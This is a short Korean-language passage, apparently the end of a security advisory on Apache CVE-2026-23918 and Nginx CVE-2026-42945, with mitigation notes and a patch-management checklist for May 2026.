- 공개와 동시에 PoC 또는 실 공격이 따라붙는 흐름이 강해지고 있습니다. 패치 적용 윈도우가 빠르게 좁아지고 있습니다.
- 임시 완화책은 모두 부수 효과를 동반합니다. HTTP/2 비활성화, named 캡처로의 전환 등이 가능하지만 결국 정식 패치 적용이 본질적 대응입니다.
운영 측면에서는 2026년 5월 안에 두 제품 모두 버전 인벤토리 점검 → 영향 모듈 사용 여부 식별 → 패치 또는 완화 적용 → 비정상 종료 로그 모니터링까지의 절차를 마무리해 두는 것이 권장됩니다.
References
Apache CVE-2026-23918
Nginx CVE-2026-42945 (NGINX Rift)